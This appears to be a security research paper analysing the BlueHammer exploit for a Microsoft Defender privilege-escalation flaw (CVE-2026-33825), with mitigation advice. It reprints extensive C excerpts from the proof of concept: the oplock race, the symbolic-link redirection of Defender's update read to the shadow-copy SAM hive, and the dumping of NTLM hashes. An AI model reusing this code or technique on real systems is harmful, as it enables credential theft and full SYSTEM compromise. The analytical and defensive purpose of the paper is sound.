

BlueHammer

June 30, 2026

Abstract

In this paper, we conduct an analysis of a recently released exploit from NightmareEclipse. We assume the reader is capable of both reading and debugging code, comfortable with the general process of exploitation, and reasonably familiar with Windows internals. We begin with an excerpt describing the underlying vulnerability, followed by a technical analysis of the exploit, and conclude with a statement on modern mitigation techniques against the respective attack vectors described here. Follow-on research is permitted and encouraged.

1 BlueHammer

1.1 Vulnerability

1.1.1 Overview

Microsoft has officially described **CVE-2026-33825** in the following way: "insufficient granularity of access control in Microsoft Defender allows an authorized attacker to elevate privileges locally". CVSS currently rates the severity as 7.8/10 (high) and based on the given description, we classify this as a local authenticated privilege escalation vulnerability.

1.1.2 Analysis

While "insufficient granularity of access control" is an accurate statement, it is far too broad to sufficiently describe what the exploit takes advantage of. This particular CVE describes how a privileged component of the operating system trusts an entire preprogrammed workflow instead of validating each sensitive file operation. In other words, Windows Defender fails to maintain an object's identity throughout its highly privileged remediation process, enabling unintended file redirection, unauthorized access to sensitive resources, and local privilege escalation.

1.2 Execution

1.2.1 Overview

The BlueHammer exploit takes advantage of the Windows Update Agent COM API to poll for pending Windows Defender signature updates. An update trigger forces the creation of a volume shadow copy and temporarily suspend Windows Defender through the use of OpLocks. When the update engine is initiated, a time-of-check time-of-use race condition allows the attacker to force path redirection into an attacker-controlled directory. Ultimately, this results in dumping the SAM hive and the attacker obtaining NTLM hashes from memory for offline password cracking.

1.2.2 Mechanics

The BlueHammer exploit takes advantage of the Windows Update Agent COM API (in particular, the IUpdateSession function) to poll for pending Windows Defender Definition Updates. It is important to note that the link contained within the exploit redirects the user to the latest Microsoft Defender Security Intelligence update package for 64-bit systems (**mpam-fe.exe**).

Listing 1: Polling For Updates

```
printf("Downloading updates...\n");
hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,
→ NULL);
if (!hint)
{
    printf("Failed to open internet, error : %d", GetLastError());
    goto cleanup;
}
```

```

hint2 = InternetOpenUrl(hint,
↳ L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL,
↳ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
↳ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI |
↳ INTERNET_FLAG_RELOAD, NULL);

```

After the latest Windows Defender Definition Updates are obtained, the update files are parsed to load a cabinet file into memory. In this case, the cabinet file contains Defender's .vdm files, DLLs, and updated signature databases. The exploit decompresses the contents of the cabinet file to obtain the .vdm signature definition files and stage them in a temporary directory. While it may seem initially counterintuitive for an exploit to download antivirus updates prior to conducting exploitation, it actually serves as the main target for setting up a race condition later on.

Once an EICAR string triggers a Windows Defender scan, the exploit concurrently acquires an opportunistic lock on `Rstrtmgr.dll` to block Windows Defender during the file-access phase.

Listing 2: Triggering Defender for OpLock

```

// Define EICAR String
char eicar[] =
↳ "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!05X";
rev(eicar);

// Create OpLock
SetLastError(ERROR_SUCCESS);
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL,
↳ NULL, &ovd);

// Trigger Windows Defender
trigger = CreateFile(eicarfilepath, GENERIC_READ,
↳ FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING,
↳ FILE_ATTRIBUTE_NORMAL, NULL);
if (trigger && trigger != INVALID_HANDLE_VALUE)
    CloseHandle(trigger);

printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
printf("Oplock triggered.\n");

```

Due to the resource block, Windows Defender traverses down a branch that generates a new volume shadow copy. Subsequently, a new thread monitors the `/Device/` directory in order to notify the exploit about the status of the volume shadow copy creation. Independent security researchers indicate that generating volume shadow copies allows Defender to examine the version of the file that existed when the scan started as opposed to racing with a process that may be interacting with the file in real time. Once the volume shadow copy is established, another thread registers a temporary directory containing a placeholder lock file via the cloud files API. After Windows Defender enumerates the directory, the `CF_CALLBACK_TYPE_FETCH_PLACEHOLDER` callback is triggered, causing the exploit to establish a second opportunistic lock. Ultimately, this suspends Defender's execution once again with a `SYSTEM`-level file handle present in memory.

Listing 3: Freeze Windows Defender

```

// Search for lock files in temp directory

wscpy(callbackctx.filename, wuid2);
wscat(callbackctx.filename, L".lock");
hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW,
↪ FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE,
↪ NULL);

// Register directory with Cloud SyncRoot API

hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy,
↪ CF_REGISTER_FLAG_NONE);
syncrootregistered = true;
hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx,
↪ CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO |
↪ CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);

// Watch for Cloud API callback and set second OpLock

printf("Waiting for callback...\n");
WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL,
↪ NULL, &ovd);
SetEvent(callbackctx.hnotifylockcreated);

printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
printf("WD is frozen and the new VSS can be used.\n");
SetEvent(args->hvssready);
WaitForSingleObject(args->hcleanupevent, INFINITE);

```

Once the second OpLock is obtained, a second thread calls `ServerMPUpdateEngineSignature`, providing Defender the temporary directory containing the extracted .vdm files. At this point, Defender creates a new subdirectory under `C:/ProgramData/Microsoft/WindowsDefender/DefinitionUpdates/<GUID>` using the `SYSTEM` context in anticipation of applying new updates.

Listing 4: Windows Defender Definition Update Monitoring

```

hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL,
↪ &tid);

printf("Waiting for windows defender to create a new definition update
↪ directory...\n");
wscpy(newdefupupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows
↪ Defender\\Definition Updates\\");
do {
    ZeroMemory(buff, sizeof(buff));
    OVERLAPPED od = { 0 };

```

```

        od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
        ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE,
→ FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
        HANDLE events[2] = { od.hEvent, threadargs.hevent };

        CloseHandle(od.hEvent);

        PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
        if (pfni->Action != FILE_ACTION_ADDED)
            continue;

        wcscat(newdefupdatelibpath, pfni->FileName);
        break;
    }

```

Once new updates are detected by Defender, a new opportunistic lock is set on `mpasbase.vdm` within Defender's temporary update directory. When Defender opens the file and the opportunistic lock is triggered, the exploit executes several operations within a TOCTOU race window.

Listing 5: Invoking Race Condition For OpLock

```

while (1);
printf("Detected new definition update directory in %ws\n",
→ newdefupdatelibpath);

wcscpy(updatelibpath, L"\\??\\");
wcscat(updatelibpath, updatepath);
wcscat(updatelibpath, L"\\mpasbase.vdm");

RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
InitializeObjectAttributes(&objattr, &unistrupdatelibpath,
→ OBJ_CASE_INSENSITIVE, NULL, NULL);

ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE,
→ &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN,
→ FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);

printf("Setting oplock on %ws\n", updatelibpath);

ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL,
→ NULL, NULL, &ovd);

printf("Waiting for oplock to trigger...\n");
GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
printf("oplock triggered !\n");

CloseHandle(hsymlink);

```

As shown below, the operations include renaming `mpasbase.vdm` to `<dir>.WDF00`, renaming the update directory itself to `<dir>.foo`, creating a directory junction targeting `/BaseNamedObjects/`

Restricted, and creating a symbolic link from /BaseNamedObjects/Restricted/mpasbase.vdm to /Device/HarddiskVolumeShadowCopy/Windows/System32/Config/SAM.

Listing 6: Creating Symbolic Link Object For Redirection

```
{
    UNICODE_STRING _unisrc = { 0 };
    RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
    OBJECT_ATTRIBUTES _smobjattr = { 0 };
    InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE,
↪ hobjworkdir, NULL);
    UNICODE_STRING _unidest = { 0 };
    RtlInitUnicodeString(&_unidest, objdirpath);
    ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr,
↪ &_unidest);

    RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
    ZeroMemory(nttargetfile, sizeof(nttargetfile));
    wcscpy(nttargetfile, fullvsspath);
    wcscat(nttargetfile, filestoleak[x]);
    RtlInitUnicodeString(&objlinktarget, nttargetfile);
    InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE,
↪ hobjworkdir, NULL);
    ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr,
↪ &objlinktarget);
}

wcscat(newdefupdatdirname, L"\\mpasbase.vdm");

htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE,
↪ NULL, NULL, NULL, NULL);

do {
    hleakedfile = CreateFileTransacted(newdefupdatdirname, GENERIC_READ,
↪ FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,
↪ NULL, htransaction, NULL, NULL);
} while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
printf("Leaked file opened %ws\n", newdefupdatdirname);

printf("Exploit succeeded.\n");
SetEvent(hreleaseready);
```

Once the opportunistic lock is released, Windows Defender will resume its privileged read operation on mpasbase.vdm, following the directory junction and redirection link into the volume shadow copy SAM hive. The SYSTEM-level privilege allows the SAM database to be read into memory and written into a temporary file. In order to decrypt the SAM database, the exploit retrieves the boot key from the registry, opens the SAM database offline, decrypts the SAM password encryption, and enumerates all accounts under SAM/Domain/Account/Users. Each account's NTLM hash is dumped and passwords are temporarily replaced with \$PWN666!WDFAIL.

1.2.3 Analysis

Due to the highly technical and unintuitive nature of this exploit, it is clear that the author had to make quite a few design decisions that are not immediately obvious to readers who are unfamiliar with the internals of Windows Defender. While the race condition setup allows for a time-of-check time-of-use window, the operations conducted during that phase are the reason why the protected SAM hive is able to be read and ultimately decrypted for local privilege escalation. We can observe the effects and infer that the purpose behind renaming `mpasbase.vdm` and its temporary directory is to trick Defender while it isn't looking to redirect its path (the shadow copy junction) and point it to a new object (the SAM database) using a symbolic link. Without validating the workflow, we now see how this Defender vulnerability escalates very quickly into full **SYSTEM** compromise. Furthermore, the extensive use of opportunistic locks and multi-threading clearly indicates that this exploit relies very heavily on consistent atomic time-based operations.

1.3 Mitigation

Ultimately, this exploit requires quite a few environmental prerequisites in order to successfully complete. Namely, Windows Defender must be in a running state with real-time protection enabled, consistent network access with a new Defender signature update must be available, volume shadow copies, opportunistic locks, cloud files API, and symlinks must be unrestricted to the current user, at least one other local account with administrative privileges must be present on the system, and several many I/O operations must work in concert with each other in order to influence the outcome of the race condition in favor of the attacker. If any of these conditions are not met, then the chance of this exploit succeeding drops significantly.

The most important mitigation that can be applied is Microsoft's patch for CVE-2026-33825. Additionally, keeping Microsoft Defender platform fully updated, applying Microsoft's latest security updates for Windows, removing local administrator rights, enabling AppLocker, monitoring for unusual local API calls and object namespace manipulation, and utilizing a privileged EDR are all practical solutions for preventing BlueHammer from executing on the system.

2 Citations

- [1] Core Security, "Analysis of BlueHammer: LPE Exploiting Windows Defender Updates," 2026.
- [2] Nightmare Eclipse, "BlueHammer Proof-of-Concept," Church of Malware Git Repository.
- [3] RETooling, "An Unexpected Journey into Microsoft Defender's Signature World," 2024.
- [4] Microsoft, "Volume Shadow Copy Service," Microsoft Learn.
- [5] Microsoft, "Opportunistic Locks," Microsoft Learn.
- [6] Huntress, "Nightmare Eclipse Intrusion."